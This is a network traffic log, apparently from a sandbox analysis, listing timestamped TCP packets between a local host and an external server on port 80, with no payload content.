Sep 26, 2024 15:10:47.787152052 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.787163973 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.787210941 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.787230968 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.787242889 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.787256002 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.787266970 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.787276030 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.787276983 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.787297010 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.787324905 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.821911097 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.821988106 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.822037935 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.822055101 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.822112083 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.822144032 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.822197914 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.822227001 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.822233915 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.822304010 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.866821051 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.866832972 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.866849899 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.866867065 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.866868973 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.866878986 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.866890907 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.866903067 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.866913080 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.866925955 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.866961002 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.867423058 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.867441893 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.867454052 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.867480040 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.867496967 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.867777109 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.867789984 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.867799997 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.867811918 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.867830038 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.867863894 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.869345903 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.869415045 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.869426012 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.869508028 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.869519949 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.869530916 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.869540930 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.869541883 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.869554043 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.869560957 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.869570017 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.869591951 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.869612932 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.869638920 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.869649887 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.869693995 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.869695902 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.869708061 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.869729042 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.869740963 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.869801044 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.869812965 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.869824886 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.869832993 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.869898081 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.869910955 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.869920015 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.869939089 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.869997978 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870009899 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870023012 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870033979 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870043993 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870058060 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.870094061 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.870112896 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870125055 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870138884 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870151043 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870163918 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870176077 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.870228052 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870248079 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870254040 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.870258093 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870279074 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.870306015 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.870405912 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870419025 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870436907 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870460033 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.870460987 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870472908 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870485067 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870498896 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870506048 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.870517969 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870528936 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.870569944 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.870714903 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870728016 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870738983 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870749950 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870760918 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870778084 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870780945 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.870793104 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870800972 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.870805979 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870815992 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.870824099 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870834112 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870862961 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870862961 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.870876074 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.870883942 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.870929003 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.871112108 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.871124983 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.871136904 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.871148109 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.871157885 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.871177912 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.871227026 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.872282982 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.872296095 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.872307062 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.872318983 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.872330904 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.872332096 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.872343063 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.872356892 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.872356892 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.872370005 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.872402906 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.872668982 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.872685909 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.872697115 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.872708082 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.872720003 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.872733116 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.872745037 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.872746944 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.872756958 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.872767925 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.872771025 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.872778893 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.872792006 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.872798920 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.872802973 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.872816086 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.872828007 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.872834921 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.872875929 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.872875929 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.872945070 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.872963905 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.872976065 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.872987986 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.873002052 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.873008013 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.873023987 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.873096943 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.873110056 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.873138905 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.875368118 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.875380039 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.875396967 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.875426054 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.875444889 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.875456095 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.875468016 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.875480890 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.875493050 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.875514030 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.875566006 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.875797033 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.875834942 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.875844955 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.875891924 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.875895023 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.875906944 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.875919104 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.875930071 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.875951052 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.875973940 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.875992060 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.876183033 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.910737038 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.910763025 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.910773993 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.910808086 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.911089897 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.911102057 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.911113024 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.911119938 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.911130905 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.911158085 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.911194086 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.955497980 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.955512047 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.955524921 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.955590963 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.955596924 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.955610037 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.955624104 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.955636024 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.955641031 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.955662966 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.956016064 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.956032991 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.956053972 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.956223965 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.956275940 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.956285954 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.956299067 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.956316948 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.956338882 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.956368923 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.956381083 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.956404924 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.958065987 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958086967 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958096027 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958117008 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.958147049 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.958179951 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958193064 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958204985 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958215952 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958236933 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.958256960 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958271027 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958280087 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.958326101 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.958364010 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958375931 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958388090 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958416939 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.958456039 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958467960 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958478928 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958523035 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.958523035 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.958616972 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958628893 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958640099 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958651066 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958662033 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958673954 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958678007 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.958686113 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958698034 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958719969 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.958750963 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.958779097 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958796978 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958810091 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958822012 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958833933 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.958852053 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.958929062 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958940983 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958954096 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958962917 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958973885 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.958982944 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.959079981 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.959090948 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.959103107 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.959104061 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.959114075 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.959124088 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.959126949 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.959139109 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.959161043 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.959161043 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.959286928 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.959299088 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.959310055 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.959321976 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.959336042 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.959340096 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.959347010 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.959358931 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.959371090 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.959371090 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.959398985 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.959568977 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.959705114 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.959769011 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.959775925 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.959788084 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.959796906 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.959816933 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.960027933 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.960047007 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.960058928 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.960069895 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.960081100 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.960102081 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.960129023 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.960196972 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.960736036 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.960747957 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.960758924 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.960769892 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.960782051 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.960792065 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.960794926 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.960805893 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.960813046 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.960844994 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.960865974 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.960891008 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.960901976 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.960901976 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.960931063 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.960971117 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.960984945 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.960989952 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.961000919 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.961010933 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.961014986 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.961034060 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.961100101 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.961112976 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.961123943 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.961136103 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.961138964 CEST	49712	80	192.168.2.12	172.86.66.70
